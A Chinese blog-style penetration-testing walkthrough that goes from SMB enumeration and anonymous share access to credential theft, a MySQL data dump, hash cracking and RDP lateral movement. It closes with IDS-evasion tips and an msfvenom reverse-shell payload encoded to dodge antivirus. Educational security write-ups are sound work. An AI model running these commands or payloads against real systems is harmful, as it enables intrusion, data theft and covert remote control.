一、渗透的切入点在哪里?思考攻击的起点

在渗透测试中,找到一个合适的切入点是至关重要的。每一次攻击的开始,都源于目标的暴露面,这一暴露面可能是一个忘记打补丁的服务,一个没有安全意识的员工,或者一段可以被利用的代码逻辑。

我更习惯将目标划分为三大类可能的切入点:

  1. 技术层面的薄弱点:未修复的漏洞、未加固的系统配置。
  2. 人员层面的疏忽:社工攻击、钓鱼邮件。
  3. 网络结构的缺陷:如暴露的管理接口、弱配置的VPN。

有一次,我接手了一家企业的渗透测试项目。起初他们信心满满,自认为安全防护已经滴水不漏。然而,我仅仅靠一个开放的 SMB 服务,成功拿到了域控权限。如果你细心观察,总会找到可利用的点。接下来,我会以 SMB 为例,完整展示一次从信息收集到拿下域控的过程。

---

二、信息收集:像猎人一样追踪目标

在渗透中,“信息就是武器”,而我一直信奉这一点。没有足够的信息,就像盲人摸象,根本不知道往哪里下手。我通常分成以下几个步骤:

1. 网络扫描与资产识别

最常用的工具当然是 Nmap,但有时我也会自写一些脚本来细化扫描结果。例如对目标的 SMB 服务进行进一步探测。我写了一个简单的 Ruby 脚本,来快速枚举目标的 SMB 共享信息。

<pre><code class="language-ruby">require &#039;socket&#039;

用 Ruby 构造一个简单的 SMB 探测脚本

def smb_probe(ip, port=445) begin socket = TCPSocket.new(ip, port) socket.write(&quot;\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;) response = socket.recv(1024) if response.include?(&quot;SMB&quot;) puts &quot;[+] SMB 服务发现: #{ip}:#{port}&quot; else puts &quot;[-] 非 SMB 服务: #{ip}:#{port}&quot; end rescue =&gt; e puts &quot;[-] 目标不可访问: #{ip}:#{port} | 错误: #{e.message}&quot; ensure socket.close if socket end end

调用脚本进行扫描

target_ip = &quot;192.168.1.100&quot; smb_probe(target_ip)</code></pre>

黑客示意图

这个脚本的作用是检测目标 IP 的 445 端口是否运行了 SMB 服务,同时判断响应的有效性。通过这个脚本,我确认目标的 SMB 服务是开启的。

2. 目录与敏感文件探测

接下来是目录和敏感文件的探测,通常我会用 Gobuster 或 Dirsearch 这样的工具快速跑一遍常见的路径,但有时候自己写脚本更灵活。例如:

<pre><code class="language-shell"># 用 shell 进行简单的目录探测 while read line; do url=&quot;http://192.168.1.100/$line&quot; response=$(curl -o /dev/null -s -w &quot;%{http_code}&quot; $url) if [[ $response == &quot;200&quot; ]]; then echo &quot;[+] 存在目录: $url&quot; fi done &lt; common_dirs.txt</code></pre>

经验:很多企业为了图省事,把一些敏感的配置文件随意暴露在公开目录,比如 .git//backup/ 等,这种情况尤其多。

经过这一步,我发现目标的 445 端口 SMB 服务启用,同时还有一个 /backup/ 目录暴露在外,似乎可以作为后续攻击的潜在入口。

---

三、利用 SMB 服务进行进一步攻击

1. 未授权访问测试

我首先尝试直接连接 SMB,通常用 smbclient: <pre><code class="language-shell">smbclient -L //192.168.1.100 -N</code></pre>

这里的 -N 参数表示不提供密码。有时候,管理员为了方便(或者因为疏忽),会把共享目录设置成公开访问权限。果然,我发现了一个共享目录 backup,并成功列出了其中的文件。

2. 下载敏感文件分析

在目录中,我发现了一个文件名极其可疑的文件:db_credentials.txt。用以下命令直接下载: <pre><code class="language-shell">smbclient //192.168.1.100/backup -N -c &quot;get db_credentials.txt&quot;</code></pre>

打开文件后,果然发现了一组数据库的用户名和密码: <pre><code>username: admin password: SuperSecure123!</code></pre>

这时候,我拿到了第一组有效凭证,可以尝试用这组账号密码进行进一步的横向渗透。

---

四、从数据库到内网控制权

1. 数据库登录与提权

我发现目标运行的是 MySQL 数据库,于是直接尝试用这组凭证进行登录: <pre><code class="language-shell">mysql -u admin -pSuperSecure123! -h 192.168.1.100</code></pre>

黑客示意图

成功登录到数据库后,我查询了一些敏感表,发现了一个包含员工账号信息的表 users,并导出了其中的内容。

黑客示意图

<pre><code class="language-sql">SELECT username, password FROM users INTO OUTFILE &#039;/tmp/user_dump.txt&#039;;</code></pre>

将这些数据下载到本地后,我用 hashcat 对密码进行了暴力破解。用了一些常见的密码字典后,我成功破解了一些简单密码。

2. 内网横向移动

得到了员工的凭证后,我马上尝试用这些账号登录目标的其他服务,比如 RDP 和 SSH。

<pre><code class="language-shell"># 用暴露的 RDP 端口登录 xfreerdp /u:employee /p:123456 /v:192.168.1.100</code></pre>

其中一个员工的密码非常弱,我成功登录了一台内网机器,并发现了管理员的密码文件存放在桌面上。这为我后续的域控提权打下了基础。

---

五、经验之谈:如何做到隐蔽又高效?

1. 控制扫描频率

扫描时一定要注意流量的伪装,特别是在企业环境中,过于频繁的探测会触发 IDS/IPS 系统的报警。

2. 免杀与绕过

在上传木马时,尽量使用内存加载的方式避免落地文件。举个例子,我会用 Metasploit 的以下模块生成一个免杀的载荷: <pre><code class="language-shell">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 -f exe -e x86/shikata_ga_nai</code></pre>

生成的文件再混淆加壳,能有效绕过大多数杀软。

---

六、总结:保持攻击者的视角

一次完整的渗透测试,其实就是一次技术与脑力的博弈。从信息收集到漏洞利用,再到权限提升,每一步都至关重要。这一次的 SMB 渗透是经典的内部攻击案例,而类似的攻击思路还可以扩展到 FTP、RDP 等其他服务。

最后提醒一句,这篇文章的技术仅限于学习和授权测试,切勿用于非法用途,否则后果自负!